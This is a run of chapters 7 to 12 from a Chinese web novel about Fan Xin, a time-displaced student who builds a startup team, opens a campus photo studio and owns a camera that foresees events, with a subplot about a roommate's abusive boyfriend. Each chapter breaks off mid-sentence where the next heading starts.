徐可可不了解樊欣的内心戏，只当她还对其他的活动感兴趣，不等她解释，便将樊欣面前的海报标题念了出来： “‘青年创新创业大赛校园选拔……’欣子你对这个比赛感兴趣啊？但今年我们学院好像没有团队报名哎，听唐老师说，后面我们可能就要把 7. 第7章 《我的相机能看到未来》全本免费阅读 樊欣知道，刚开学的那个周末，辅导员一般都会留在学校加班，唐老师也不例外。 于是，在收到肯定答复的第二天，她便来到了对方的办公室外。 敲了敲门，樊欣就听到了一道爽朗的邀请，进门后看到唐老师正埋头处理材料呢，她当年还不到四十，常年留着干练的短发、戴一副玳瑁边框的眼镜，不笑时看起来有些严肃，其实是个亲切又负责的好老师，和樊欣记忆里的一样。 “大小姐今天怎么有空来找我啊？看来，你是真对那比赛有兴趣？” 读研时期的樊欣，在校时两耳不闻窗外事，一心只想修学分；实习时更是把大多精力都放到了工作上，除了完成班长的常规任务外，在学校几乎很难见着她的人影。为此，唐老师为了逗她，早早给樊欣起了这样的花名，调侃她就像个请不动的大小姐。 “唐老师，我听说——咱们学院准备弃权？” “如果到了报名截止的时候，我们院还是没有合适的项目的话，也只好弃权了。今年也不知怎么的，动员了那么久也没用……” “我想试试。” 听唐老师讲述了当下的困境后，樊欣也没再和她绕圈子，而是直接提出了想法。说完后，她就自信满满地看向了对方：这一秒，唐老师愣在原地，没有任何表情和动作；下一秒，就见她迅速取出了一沓打印好的报名材料。 “现在能开始填了么？” 动作之快、前后差异之大，叫樊欣瞠目结舌，没想到自己刚问起这比赛时，唐老师表现得人淡如菊、不疾不徐，原来还是心存希望，且时刻准备着呀？ “我……我还没完全准备好，唐老师，这次的报名到什么时候截止呀？” 樊欣会来凑这个比赛的热闹，多少是有点头脑发热。 只是，她一想到——自己在来到这个时空之前，已经积累了不少带团队做项目的经验，也算是“开挂”了，总该做出点成绩才对吧？毕竟这些学生时代的“小打小闹”，对于一个在职场混迹良久的老江湖来说，应该不算啥。 同时，樊欣想起自己的学生时代，几乎都是在教室、自习室和图书馆度过的，显得乏善可陈，有机会回来重新走一遭，可以多参加些活动，让自己的青春回忆变得丰富一点。 “那你的参赛项目，还有创业团队定下来了不？现在距离报名截止的时间，大概还有三周，这次报名只要填一些基础信息，后面还有时间好好打磨。” 唐老师不知道的是，看起来相当有信心的樊欣，还只停留在构想阶段。 项目未知，资金不足，团队未定，场地暂无。 她刚给了唐老师希望，若是再坦白这样的现状，对方怕是会直接帮樊欣转到隔壁的拳王争霸赛上，直接和自己来上一场PK，并凭借怒气值加成，直接将她KO。 *** 樊欣拿着印好的《报名须知》，拖着沉重的脚步朝宿舍的方向走去，只觉前路漫漫、飞沙走石，仿若走错了片场，误入高僧西行取经现场。 团队的人数下限是“5个”，这么短的时间内，她要上哪去找5个靠谱的成员一起创业呀？尽管这样的赛事，不要求立马注册公司，然而，就算现在只需有个虚拟的空壳，她也还没来得及搭好那壳子呢…… “欣子？欣子！你去哪儿啦？给你打电话也不接……拳击比赛马上要开始啦，小蕾一早就过去帮着准备了，我一直等不到你……” 可可学姐的出现，瞬间将樊欣拽出了她臆想出的漫漫征途，风沙在刹那间收束，阳光重新照到了她的脸上。 “学姐，你和我一起参赛好不好？” “好啊……等等，什么比赛？拳击吗？我不会哎。” 可可仍是一如既往的热心肠和好脾气，听到樊欣的请求后没细问就应下了，想想才觉得不对劲。但拳王争霸开赛在即，她表示过会儿再研究樊欣口中的赛项，同时火急火燎将这位唉声叹气的学妹拖到了体育馆。 *** 或许是特别的缘分，她俩到场后，刚巧赶上李浩凡选手上场。 尽管双方选手头戴护具，她俩离八角笼也有段距离，樊欣还是一眼认出了前男友归属红方。戴着红拳套、身着红裤头的那位，个头不算高，但身材比例很有优势，看似精瘦，实则藏肉，烧成灰她都能认出来。 馆内大屏显示蓝方选手名为“林龙”，是代表外国语学院来参赛的，看上去比李浩凡高出一截，还更壮实，宽背窄腰、腹肌线条很是分明。 “听说这个林龙是外院找来的外援，他们院的男生比我们还少，他好像还是小蕾的远房亲戚。” 徐可可不止会埋头搞科研，还非常喜欢参加各类实践活动，身兼校心理协会会长、学院志愿者协会理事、民间八卦协会常驻会员等多个职位，这学校里好像就没有她不知道的新鲜事。 一见到李浩凡，樊欣也不愁了、不累了，立刻来了精神，紧紧盯住场上的情况；见她这模样，可可邪魅一笑，一副洞穿樊欣“口是心非”的得意模样。 樊欣可顾不得其他人怎么想，此时，只恨自己的脖子不够长，视力不够好，根本看不清比赛的情况。 “他怎么就得分了？怎么判的？发生了什么？” 刚开局三分钟，李浩凡就率先得分，樊欣在周遭观众兴奋的欢呼声中不明所以。见身边有个呆呆的胖哥拿着一副望远镜，她顿时受到了启发，想起自己今天出来时，打算拍点校园风景，所以把相机和变焦镜头都给带上了。 焦距一调，妥妥的望远镜功效。 可还没等她好好看会儿比赛，就被一个陌生的瘦弱男生推了又推，一开始以为他是不小心，后来才发现他好像是找自己有事。 来人看着眼生，细胳膊细腿的，鼻梁上架着一对瓶盖一般厚的镜片，看上去有点像动漫《樱桃小丸子》里的丸尾同学。山寨丸尾看起来很着急，反复催促着： “你是新闻中心派来拍照的同学么？别坐在观众席啊，你得到前面去拍啊！” “我不是！你搞错人啦！” 樊欣的长相比较显小，看上去明显视力不佳的“假丸尾”又只看到她在 8. 第8章 《我的相机能看到未来》全本免费阅读 赛后，蓝方选手很想找机会感谢一下那个守着八角笼，不断鼓励自己的女孩。 当时樊欣背着配有变焦镜头的大单反，很是显眼。其实，就算没有相机作为参照物，他也能凭着那股熟悉的气息认出她来。 林龙这次来参赛，不过是受人之托，完成使命后，便开始满场寻找对方的身影。只是，当樊欣总算进入视野之时，他的欣喜还没来得及在脸上凝固，就在顷刻间转为了失望。 此时，他看到樊欣正兴冲冲奔向前排的观众席，不由分说叫住了一个留着中分发型的微胖男生，林龙无奈地看了一眼自己满胳膊的腱子肉，叹了口气—— 难道，她喜欢那样的？ *** 实际上，林龙完全误会了，此时的樊欣哪有心思关注什么儿女情长，她火急火燎地找那男生搭话，只因为他不是别人，而是数年后G市冉冉升起的商界新星，当地最年轻的独角兽企业创始人——郑虔！ 在跨越到这平行宇宙之前，樊欣就听说郑总也是G大校友，他毕业后还去了剑桥，继续深造。 当初，樊欣带的项目组为了竞标郑虔公司的一块宣传业务，可谓是殚精竭虑，可惜最终也没拿下；想不到，在这个平行宇宙里，他倒成了自己的学弟，刚升大三，看起来还怪呆萌的。 在遇到他之前，樊欣还在为青年创新创业大赛的组队发愁；如今，“真大佬”意外现身，对他来说，这样的比赛不都算小儿科吗？完全可以“咔咔”乱杀，不成问题。 可就在她说明来意之后，郑虔完全不为所动，还很迷惑： “请问……你为什么会找我参赛？我们之前应该没见过吧？” 糟了……樊欣一时兴奋过头，都忘了这茬儿了。在这个时空里，他俩并无交集，在此时的郑虔看来，她就是另一个学院的陌生学姐，突然跳出来拉着自己参赛，还说得天花乱坠，但他听得一头雾水。 为什么选他？该找怎样的理由才合适？樊欣的大脑飞速运转着。 说是因为他长得帅？那确实是有点违心了。郑虔个头不高、皮肤不白，中分的短发略微发油，圆圆的黑框眼镜有些过时，还好只是微胖，否则那身形样貌，只需在人中点一抹小胡子，都能去抗日神剧里扮演反派翻译官了。 难道说他慧根不浅？但樊欣看起来也不像是算命的，而且他们见面的场合还是在讲求科学、传扬知识的高校里，这迷信的台词，怎么看都不合时宜啊…… “我知道你！你是那个……电子信息工程专业的郑虔对吧？上学期你的发明在省里获奖了，信息栏里贴过‘喜报’的，上面有你的照片。” 此时的樊欣，满眼感激地看着半路杀出的徐可可，在心里默默为她鼓起了掌—— 真不愧是“G大百晓生”啊，要是没有学姐，自己该怎么办哪？ 有了可可的铺垫，樊欣顺势加入了“夸夸群”，同时不忘渲染一番这个比赛对郑虔而言，将产生多么重要的影响。 别的不说，在女生稀缺的电子信息学院呆了这么久，突然有个长得这么漂亮的学姐如此热情地向自己发出邀约，郑虔难免觉着有些飘飘然。因此，尽管不明就里，他也没有直接拒绝，表示自己想再考虑一下。 既然他这么说，樊欣便觉得自己已然十拿九稳，双方交换了联系方式后，她就将郑虔和可可一起拉入了“名字没想好创业小组”的群聊里。 回宿舍的路上，可可举着手机向樊欣道出了自己的疑惑： “欣子，你咋把我也拉进去了？我啥时候说要参加创业大赛的？” “学姐，我们是院里最后的希望了，到现在还差两个成员呢，真的需要你呀！” 按理说，樊欣应该表现得再楚楚可怜一点，但即便是换了个时空，她还是学不会那一套，这反而使她看起来挺真诚的。其实，如果可可真不想参加，她也不会勉强，只是想先争取一下试试。 “但那郑虔，真的会答应帮我们么？他这种人才，不是早该被自己学院的参赛队伍给抢去了么？” “唐老师说过，大部分参赛队从今年年初就开始筹备了，郑总……咳咳，郑同学那会儿应该在忙着搞自己的发明吧，不然也不至于到现在都没怎么听过这个比赛。” 听可可说到“我们”的时候，樊欣就确认她已是自己团队的一员了。至于郑虔，她也了解对方是那种如果不感兴趣，就会果断拒绝的人。因此，据她推测，他们学院的团队应该也找过郑虔，但都被他自动屏蔽了，因而才会对这个赛事这般陌生；同时，他一旦答应考虑，这事基本上就稳了。 樊欣也不清楚他为什么会给自己这个机会，兴许是他刚参加完发明大赛，恰巧处于“空窗期”吧。 当晚，果然不出樊欣所料，郑虔直接往新建的群里发了一个文档，洋洋洒洒数千字，搭出了一份商业计划书的框架，其中难免有些语病，但更多的是樊欣她们完全看不懂的代码和公式。 “我看过比赛通知了，还真有一点想法。只是，我之前没写过这种材料，网上的模板好像也不太合适……先凑合看看吧。” 郑虔根据樊欣的建议，写出了对于新款智能相机的构想，核心技术涉及大数据和人脸识别，思路颇为超前；但他在另一个平行宇宙里，本来就是新型数码领域的大佬和传说啊！ “‘市场痛点’这部分是不是还没改，感觉写得不太对劲……” 正当樊欣沉浸在对青涩版郑总的崇拜之中时，身旁的可可竟然直接对“大佬”的商业计划书发出了质疑，她还来不及制止，就见群里的郑虔非常谦逊地开始讨教： “确实，这个部分我还没想好，如果我把最后的两块内容合并一下，会不会更好？” 两人就这样一来一回地讨论上了，似乎完全不需樊欣费心：一个是未来的业界翘楚，大学没毕业就坐拥多项专利和软著；另一个，是全能型准博士，对她来说写份商业计划书或是做个配套的PPT，可以帮助自己在搞科研之余“换换脑子”。 外加一个多了十年“未来生活经验”的樊欣，这支队伍，简直强得离谱，她顿时觉得自己应该没什么好担忧的了。 “我们还需要一个能做硬件设备的成员。” 刚想说没什 9. 第9章 《我的相机能看到未来》全本免费阅读 时间倒回今早，樊欣本以为自己是第一个起来的，没想到她轻手轻脚下床的时候，薛蕾都已经收拾得差不多，准备出门了。 她画着精致的妆容，又换上了前几天穿过的那条蓝色碎花连衣裙，说是她男朋友夸这裙子好看，所以特意选了这一身去约会的。 没想到时隔几小时后，她这身好看的蓝裙子就染上了尘土和血污。 樊欣见状，赶忙上前搀扶对方，她果然没看错，那位被暴力对待的姑娘就是自己的舍友薛蕾，那个人前光鲜亮丽的外院学生会主席。薛蕾的男朋友就是机电学院的，但G大的传媒和外国语两大学院常常处于竞争关系，樊欣就没想着托薛蕾找人。 其实，樊欣之所以没找对方帮忙，这还不是最主要的原因，重点是大家都知道薛蕾的男友脾气火爆，外人见着他都想赶紧躲远一些。 可这一次，他对薛蕾动了手，樊欣怎么可能再绕着走呢？况且，这会儿她正愁一肚子火气没地方发呢，于是直接冲到那男的跟前训斥了起来： “你干嘛呢？‘超雄综合症’啊？有病就去治！别搁外头害人！” 凑到近处，樊欣意外发现这男的身上也有伤，眼角的红肿、胳膊的淤青……那程度，一点也不比薛蕾受的伤轻——这难道……是薛蕾干的？厉害呀！有这水平，外院的拳赛还需要请什么外援？ 机电学院这栋楼的位置不算显眼，加之现在正是上课时间，路上人不多，但也有一些经过的学生被这闹剧所吸引，尤其是在樊欣发出“尖锐爆鸣”之后。 一开始，那男的甚至还想对樊欣动手，但总算是克制住了，一来因为附近有人，不大方便；再者就是看樊欣一脸的无所畏惧，反倒叫他有点犯怵。 权衡利弊一番后，薛蕾的男友总算是暂时冷静了下来，兴许是为了分散一下注意力，他习惯性地坐在花坛边的台阶上，点了支烟。 没想到樊欣一个箭步冲上去，直接夺过他手里的烟，跑到附近的垃圾桶那儿给掐灭了。 “本来就烦，劝架归劝架，可别想让我跟着一起吸二手烟。” 樊欣怒气冲冲地想着，但之前的她可没这么果敢，看到同组的范老头违规在办公室里吞云吐雾，也不敢多说什么，结果给自己整出了个呼吸道感染。 她的动作过于迅猛，导致薛蕾的男友一时都没反应过来，怔怔地抬起头时，手指还虚虚握着一支并不存在的烟，原本狠戾的眼神也变得懵懂起来。 不知是不是被揍了太多次，薛蕾都产生应激反应了，以为男友又要爆发，下意识捂着头；但冷静下来一想，又立刻冲上前，用单薄的身子挡住了樊欣，甚至扭头冲着她补了一句： “你快走！” 那一瞬间，樊欣感觉自己仿佛乱入了某部怪兽特摄片的拍摄现场：眼看那怪兽就要进一步变异了，主角的同伴舍身往死，用自己的生命为她铺了一条生存的通路…… 啊这……完全不至于。樊欣站在薛蕾身后，用食指轻轻点了点对方的肩膀，待她转身后又努了努嘴，朝她示意——校园里的保安师傅正开着小车到处巡逻呢。 樊欣作势就要上前去求援，却被薛蕾给拦下了，只见她皱着眉摇了摇头，满眼哀求的神色。 算了算了，樊欣知道这对小情侣总是这样闹来闹去，分分合合，但薛蕾属于好了伤疤忘了疼的类型，劝也没用。 他俩刚在一起的时候，薛蕾就迫不及待想让舍友们见见这男友，但隔两天就失落地说这家伙不愿露面，甚至要求她和舍友们也保持距离…… 那男的见樊欣出现后，路人也多了起来，现在连保安都来凑热闹，再纠缠下去怕是不好收场，当即决定抛下一直在替他求情的薛蕾，转身就要离开。 可笑的是，薛蕾竟然不顾腿上的伤，还想要上前去追他，好歹是被樊欣给拉住了。 “你去干嘛呀？让他自己好好反省去吧！” 虽说不想管，还是没忍住，再说，那男的正在气头上，她也担心放任薛蕾和他独处的话，对方会把气一股脑地撒在女友身上，还可能打得更狠。 樊欣注意到薛蕾的裙摆有些地方都给蹭破了，里头新的旧的、青的紫的、破皮的淌血的……各类伤口混杂着，若隐若现。 难怪薛蕾总爱穿长裙啊，那男的专挑不外露的地方给她制造伤口，她不但不反抗，还帮着掩饰，真的让人无话可说。 “咔嚓！” 既然无话可说，那就拍张照吧。樊欣朝着薛蕾男友远去的背影按下了快门，想要记录一下“怪兽”无计可施、心虚逃窜的瞬间。 但没想到，就是这样的照片，也产生了神奇的效果——相机的播放界面，又凭空多出两张来，内容是薛蕾男友被人胖揍的画面，只是揍他的那位勇士始终背对镜头，看不清长相，但轮廓硬朗、身型健硕，看着好生熟悉。 果然，不是薛蕾把他揍成那样的啊？ “欣子你……你怎么会来本部啊，是有什么事要处理么？” 薛蕾有点担心樊欣会追问今天这场闹剧的前因后果，或是像她身边的其他人那样，苦口婆心地劝她离开自己的男友，便抢先转移了话题，询问樊欣为何而来。 “哦也没啥，就是我也想试试那个青年创新创业大赛，但我们团队里没有擅长硬件技术的成员，所以就来机电学院这边问问看的。” 尽管G大的传媒学院和外院总会在各类竞赛中成为对手，但这并没有影响到101宿舍的内部团结，因而薛蕾问到樊欣时，她会很自然地如实相告。 “那你今天来这儿，找到合适的人选了不？是不是因为我的事耽搁了？” 这话一问出口，薛蕾有点后悔——好不容易转移的话题，怎么又被自己给绕回来了呢……好在樊欣没有想那么多，只是淡淡地摇摇头，对她的两个问题都给出了否定答案： “目前还是没啥进展，但不是因为你哈，你千万别多想。” “据我所知，机电学院但凡有能力又有意愿参加这比赛的苗子，应该早就被挖走了。机电本身的项目就不少，而且这一次，学校鼓励不同学院的选手‘强强联合，跨院合作’，很多团队都需要有技术的成员，所以早早就开始抢人了……你到这时 10. 第10章 《我的相机能看到未来》全本免费阅读 薛蕾提出带樊欣去表哥的小店问问情况，她自然是一口应下了。毕竟，距离报名截止的日期越来越近，时间紧迫，顾不得矜持了。 没想到，小店就开在城南数码城里，樊欣前阵子刚来过两次。 来到商圈的停车场内，樊欣就看到了上次那位卖相机的店员小哥，便让薛蕾先进去，自己和小哥聊两句后再去找她。 正好，薛蕾也想提前和表哥讲一下情况，探探对方的口风，便独自去了他的小店。数码城内的商铺密度很高，有些店家甚至会将没来得及整理好的货物堆在过道里，她这一路走得磕磕绊绊，才想起来方才的摔伤还没来得及处理。 “小蕾？你的腿怎么了？那畜生又对你动手了？！还真是狗改不了吃屎，他人呢？” 林龙一边怒气冲冲地问着情况，一边取出药品递给薛蕾。虽说他俩只能算远亲，但薛蕾的父母在林龙家最难的时候帮过他们，她也是自己在G市唯一的亲人，林龙便将对方视作亲妹妹一般。 薛蕾提出的要求，林龙总是能帮则帮，只是实在不理解自己妹妹条件这样好，为何会愿意粘着那个欺软怕硬的狗东西。 “我没事，我自己会处理好的，你就别担心了，我有正事要和你说呢。” “什么事？” 薛蕾一边为自己上药，一边将樊欣的组队需求悉数相告，还不忘添油加醋地给他画饼： “先不去说这比赛会不会有奖金，但它含金量可高了，要是真得了大奖，把那证书彩印几份往你这店招牌边上一贴，妥妥的官方认证哪！” “我不去。” 林龙拒绝得如此果决，薛蕾都怀疑自己是听错了。 “啊？为什么啊？” “除非你和那男的保持距离，不然的话，我不去。” 连樊欣都知道不该掺和人家小两口的关系，按理说林龙这样的糙汉就更不该多管闲事了。但若直接看过薛蕾男友发狂的全过程，就知道这根本不是闲事了，林龙再不管，这表妹接下来怕是会有生命危险。 “哥你别这样嘛，别急着拒绝我啊，你想想这是个多好的机会，万一能晋级，后头还能见到不少业内专家……” 薛蕾讲的这些，林龙何尝不懂？只是今天看到她旧伤未愈，又添了新伤，心里实在不是滋味。 “我不去……” 就在林龙再次言辞拒绝的当口，却看到一个熟悉的姑娘跟着自己的搭档小梁一道来到店铺前头。 “呀？！欣子你是怎么找过来的？我好像没接到你消息啊……” 薛蕾下意识拿出手机确认了一下，她也没想到樊欣都没打听位置就能自己找过来。 “不是，我本来打算先到上次买相机的店里看看补光灯的，没想到你们正好在这儿，这位是？” “哈哈，那你来得正好，这就是我表哥——林龙，拳赛那会儿你可能没看清他长啥样，帅吧？” 薛蕾说最后两个字时，刻意切换成了耳语状态，只要离了那暴躁男友，她就会恢复成这种开朗的模样，自信又机敏，不时还会和樊欣他们开开小玩笑。她称呼店员小哥为“小梁”，与他打过招呼后，又热情地向林龙介绍起了樊欣： “这就是我刚和提起的‘樊欣’，我舍友，她的项目……对了，哥你刚是不是说了句啥？我好像没太听清楚。” 在樊欣出现之前，林龙很傲娇地说了句“我不去”，现在却将那答复改成了： “我刚是说我……我不去的话好像也不大合适……” 樊欣注意到，眼前的男生看上去好熟悉，总觉得自己在哪儿见过对方……愣愣盯了他半天才恍然大悟一般叫了出来： “是你啊！你还记得我么？我们在那个……在那派出所门口见过的，你还帮我修了车的。” 可能因为林龙在拳赛中添了新伤，左眼还未完全消肿，樊欣一眼没认出对方。但那些伤口也挡不住他的英气，细看时更觉脸型流畅、五官立体、剑眉星目，不加修饰也帅得很轻松，当下这种“战损”状态，反而还加分不少。 好看归好看，可惜不是樊欣的菜。不过，她不是来相亲的，而是来招募创业伙伴的。 “派出所？” 薛蕾听到这里，有点好奇，但似乎想到了什么，立即低头噤声了。 见她这样，樊欣的脑海中又浮现出了方才相机里的画面，想来那位曾对薛蕾男友“重拳出击”的好汉，应该就是眼前这位了。 樊欣猜得没错，初遇林龙那次，他就是因为和薛蕾男友打架才进了派出所，与其说是打架，倒不如说是那男的在单方面挨打，要不是薛蕾心疼男友出手制止，让那男的钻了空子反击，林龙都不至于负伤。 当时，林龙就是被表妹那“记吃不记打”的样子给气到了，才会在派出所办完手续后独自忿忿离场。那会儿薛蕾和男友正在另一处调解室内沟通，所以没和樊欣打上照面。 “樊小姐你好……” 林龙正搜肠刮肚想着怎样开启这场谈话，却被来来往往的商户给打断了。 “借过，借过啊！” “不好意思，请让一让……” 数码城内商铺林立，空间狭小，这头林龙他们三人在聊着，那头小梁还在接待几位新到的客人，更显拥挤，薛蕾见状，便提议换个地方： “这也差不多到饭点了，要不咱找家餐厅吃点东西，坐下来好好聊？小梁，想吃点啥，尽管说，姐给你带啊。” 伴随着小哥一声脆亮的“好嘞”，三人依次沿狭长的过道朝外走去。 林龙走在最后，微笑地看着樊欣圆润的后脑勺，微微一笑。 想当初，因打架进了派出所的林龙只觉事事不顺，遇到樊欣的那一刻，不禁暗自感叹——或许攒下的运气，都是为了遇见她吧？ 奈何萍水相逢，他也不敢多想。后来，又在数码城里见到了那个熟悉的背影，他也像此时一样，怔怔地看着那颗圆润的后脑勺，发愁不知何时还有机会再见她。 但想到拳赛现场樊欣对那小男生的态度，林龙瞬间收敛了笑容，只是他这一出出起伏变幻的内心戏，旁人压根无从知晓。 *** 根 11. 第11章 《我的相机能看到未来》全本免费阅读 看来，当时樊欣在体育馆里找那男生搭话，也是为了给团队招募成员。 林龙心情大好，兴冲冲去前台那里加了不少菜品： 除了沙拉外，还有番茄肉酱红薯粉、芝士焗蛤蜊以及顶着一层摇摇欲坠奶油的小米糕…… 这家餐厅对于“混搭”的理解，已臻化境，倒也将山寨做出了一种新的特色。 餐桌上，樊欣进一步介绍了团队目前的处境，以及后期需要林龙帮忙的事宜，饭后想要结账时，却发现他已经提前付过了。 双方交换过联系方式后，林龙也自然地成为“名字没想好创业小组”的一员了。 与林龙和小梁道别后，樊欣与薛蕾结伴回学校，G市暑气尚未散尽，但也开始有了一丝丝的秋意，樊欣坐在公交靠窗的位置，感受着伴有草木清新气息的微风，只觉神清气爽。 “你们之……前不算熟悉吧？” “嗯？我们？” 薛蕾的问题让樊欣有些诧异。 “你和我哥第一次遇上那回，有发生什么特别的事么？” “就是我刚才说过的那些啊，没什么特别的，为什么突然这么问？” “没事没事，就是吃饭那会儿，我看他老盯着你看呢。” “……” *** 虽然樊欣的团队人数尚未达标，但主要成员敲定之后，他们也需要开始考虑一些其他问题了，比如——资金。 即便是尚未注册公司的学生项目，前期研发也需投入不少成本。当团队谈起这个话题时，郑虔率先表态： “我有钱。” 林龙见状，也不甘示弱： “我也可以投资……” 见团队成员如此慷慨，樊欣有点哭笑不得： “不用，不用，大家能加入这个团队已经很好了，钱的事，不用你们操心。” 话是这样说，但考虑到当下的处境，樊欣还是有点犯难：这个平行宇宙中的她，还是个没有固定收入的学生；同时，一下子穿回二十出头的状态，一时来不及改掉白领时期的消费习惯，目前的积蓄也不知还能撑多久。 不想伸手问父母要钱，新学年的奖学金尚未下发，再去兼职的话，又需占用很多时间，难免会耽误比赛…… “郑虔，你的资金，是靠发明专利的转化么？” “不是，我在跟着人做婚庆拍摄。” “婚庆？” 这年头，“不婚族”还不算多，结婚是大多数人到点打卡般的固定选择，婚庆市场仍是一片蓝海。郑虔做兼职的地方，并不是什么很专业的公司，就是两个摄影师合伙创业，让他跟着做做助理，连化妆业务都是外包的。 樊欣他们怎么也没想到，这位大发明家会去做这个。 “因为赚得挺多的，也不费事。” “但你这么厉害，为什么会愿意跟着人家做助理，这也太屈才了。” 可可都有点看不下去，直接在群里打出了自己的疑惑，但郑虔的回复却直白得有些出人意料： “因为，我没有审美。” 郑虔有一颗纯粹的理工科脑袋，纯度相当高，想问题、说观点时基本都是这样直来直去，樊欣他们后来也慢慢适应了他的这种状态和节奏。 郑虔的意思是，摄影摄像这个行当不但需要有技术，审美能力更是相当重要。 他有能力凭借缜密思维和超强的专业技能设计出好用的软件，相机的参数设置对他来说自然不在话下，但郑虔最怕的就是“凭感觉”这类抽象术语。 比如，若是客户需要他的作品营造出一种氛围感，但氛围感无法直接转化为他所熟悉的二进制。甚至在某位新娘抱怨他们将自己“拍丑了”时，郑虔还会直言相告： “您本来就长这样。” 但郑虔的兼职经历给了樊欣很大的灵感，一时激动，忍不住在群里大胆开麦： “要不，我们自己开个摄影工作室？” *** 因为智能相机项目尚处于研发阶段，樊欣便想着找个合适的业务，先练练手，经过一番深思熟虑后，还是觉得“摄影工作室”最合适。 一来是她有设备，好操作；二来，是这样的选题也和智能相机有较强的关联；再来就是团队成员都有机会参与进来，可以一起为主体项目挣一点启动资金。 人员和设备都有了，接下来就要为这工作室找个场地。 G大设有专门的大学生创业实训基地，按比例将名额划分给各个学院，鼓励大家按需申请。像外国语学院那种项目多的，各个创业团队每年都要为争场地抢破头。到了樊欣这边，团队坐享“独苗”地位，申请起来毫无压力。 “这一间的面积是最大的，离电梯也很近。门卡给你，别弄丢了哈，大家好好加油！” 没几天，唐老师就批下了团队的申请，还帮他们一起走完了后续的各种流程，甚至亲自将团队带到了创业实训基地这儿，将房间的门卡交给樊欣后，叮嘱了几句，就匆匆回去了。 “这儿还挺大的，租金多少？” 林龙在接到樊欣的消息后也赶了过来，发现申请下来的场地比自己在数码城的铺位要大了好几倍。 “参加创业大赛的团队，头两年可以免租金，如果后续能在比赛中获奖，还能根据荣誉的等级免费续租相应年限。” 樊欣在申请之前就已经熟读过相关政策，同时，她还了解了一下创业实训基地周围的环境。尽管G大新校区的位置有点偏，但实训基地位于该校区和几处尚未拆迁的老小区之间，不远处还有个在建的商圈，因而还是有些客流量的。 “我们的工作室，也做婚庆么？” 听上去，郑虔对自己的兼职还有点念念不忘。 “婚庆摄影对现在的我们来说，有点难度，我建议还是从基础业务做起吧，像是证件照、结婚登记照、个人简易写真这类……” 毕竟，樊欣不是专门学摄影的，她是转到新部门后，出于工作需要才买了一台单反相机，后来用不到了，便 12. 第12章 《我的相机能看到未来》全本免费阅读 “对对对，欢迎欢迎！” 团队里的诸位都没想到——摄影工作室刚开业，生意就来了。 在开业之前，大家已经做过不少准备了：林龙赞助了一套补光设备，可可带来了话剧社的服装，郑虔也从兼职的老东家那儿买下了一批八成新的布景和脚架。 见工作室已然成型，樊欣需要先找个模特拍一组照片试试效果。 林龙毕竟是外援，多数时间不在校；别看可可平日里欢脱得很，拍起照来却有些扭捏，总说自己不上相，让樊欣先拍其他人；倒是郑虔，直说了自己不擅长摆造型，其他的都没问题。 哪怕拍照前要画个淡妆，郑虔也没表现出任何抗拒，甚至没多问一句类似“男生也得化妆么？”这种话。 樊欣在穿到这个时空之前，为了更好地适应职场，还曾报过业余的化妆培训，可惜总是“眼睛会了，手还没跟上”，所以她在这方面确实没啥天赋，而且她还要负责拍照，便将“化妆师”的重任交到了可可的手里。 但要说起化妆，薛蕾才是专家，因而他们邀其对可可展开了一场美妆集训。集训初见成效，尽管可可还是不太会给自己化妆，但已经能为他人做简单的造型设计了。 化好妆的郑虔坐到了指定的位置，待樊欣调整好布光，便根据画框中的情况向对方发出指令： “头要再往左转一点，再转一点，过了，过了！回去一点。哎对，微笑，我们先试试笑不露齿的这一种。” 对于这种相对具体的指令，郑虔执行得很好，更绝的还是樊欣的修图技术，直接“化郑虔为帅哥”，重点是还能留出本人的特征，即便改动较大，还是能让人一眼认出照片里的，就是他。 “比喜报上那张照片拍得还好哎！” 可可看到郑虔的照片都觉得很惊喜，甚至有点后悔当初没主动充当第一个拍摄对象；而平常喜怒不形于色的郑虔，此刻也抱着自己的靓照偷着乐呢；樊欣则在一边活动起了酸胀的肩颈，心想： “修图这活儿，还真是有点费劲呐……” *** 尽管大家提前做了准备，试拍也相当顺利，但真有顾客上门，一时还是慌了手脚。 好在樊欣很快便冷静下来，并为大家分配好了任务：林龙负责接待，及时了解顾客的需求；接下来，由可可为她设计造型；在此期间，郑虔与樊欣配合调试设备，确保布景布光不出问题。 由于时间仓促，工作室的茶具还在运输途中，林龙便将自己那瓶未开封的饮料递给顾客，顺势聊了起来： “请问同学怎么称呼？今天来，是想拍什么样的照片？” “我叫君君，就是在你们那……那个公众号上得了第一的话，是不是就能免费来拍照的？” “对的，可以免费拍摄证件照，那你这照片有什么特定的用途么？” 林龙的话听起来并没有什么问题，没想到却引得这姑娘惊恐地抬起头，像是被看穿了什么一样： “用途？” 一旁的徐可可担心是林龙将客人吓着了，便上前柔声补充道： “是这样的，证件照的用途有很多种，比如办理驾照或是护照啊……但不同证件对照片的要求会有一点小区别，所以我们可以根据你的需求做调整。” “没关系，我没什么要求。” 女孩个子小小，看上去怯生生的，眉宇间还有一种未知的愁绪。徐可可总觉得自己像是在哪儿见过她，但又想不起来了，便直接将她带到了化妆镜前。 这个名为君君的姑娘是穿着白衬衫来的，表示自己不用换衣服，化个妆就好。她底子好，脸上没什么太大的瑕疵，稍稍上点妆气色就提升了不少。 在化妆这件事上，她看起来比可可更有经验，时不时还能指出化妆师的问题： “这是眉笔，不是用来画眼线的呢。” “这个应该用晕染刷，姐姐你是不是拿错了？” 徐可可越化越心虚，好不容易为顾客化好妆，简单做了下发型，她那绷紧的神经才终于放松了一些，接下来可以安心看樊欣他们发挥了…… 虽说樊欣也不是专业的，但气势上不能输，她今天还特意套上了一件卡其色的摄影马甲，不过马甲上的那些兜几乎都是空的，只为起到一个造型上的作用。 “哎对，看镜头，美女给我一点表情。” 即便这单生意不赚钱，樊欣也丝毫不敢怠慢，只希望用自己的努力让客人满意。 但不论她如何引导，君君脸上始终罩着一层灰蒙蒙的情绪，就算妆容精致、嘴角也努力上扬，眼神却依旧空洞，现场的灯光，压根没法点亮她内心深处的黯淡底色。 “咔嚓！” 樊欣按下了快门，伴随着熟悉的响动，君君那张青涩而不快乐的面孔很快就定格在了画框之内，而这一次，相片的数量又不对劲了…… 这段时间，她的单反都没再出现过之前那种异常情况，拿郑虔当模特练手的时候，相机都好好的，所以樊欣都怀疑之前那些遭遇，会不会是自己想多了。 比如，或许她其实看到了狗子汤圆偷藏拖鞋的一幕，虽然没太在意，但那场景已经印在自己的脑海中了；拳赛现场，樊欣“误会”相机能帮自己预言李浩凡下一步走向和攻势，可能也是出于自己对他的了解；还有，在相机里看到林龙暴揍薛蕾男友那回，说不定是她的猜想投射到了眼前的画面中…… 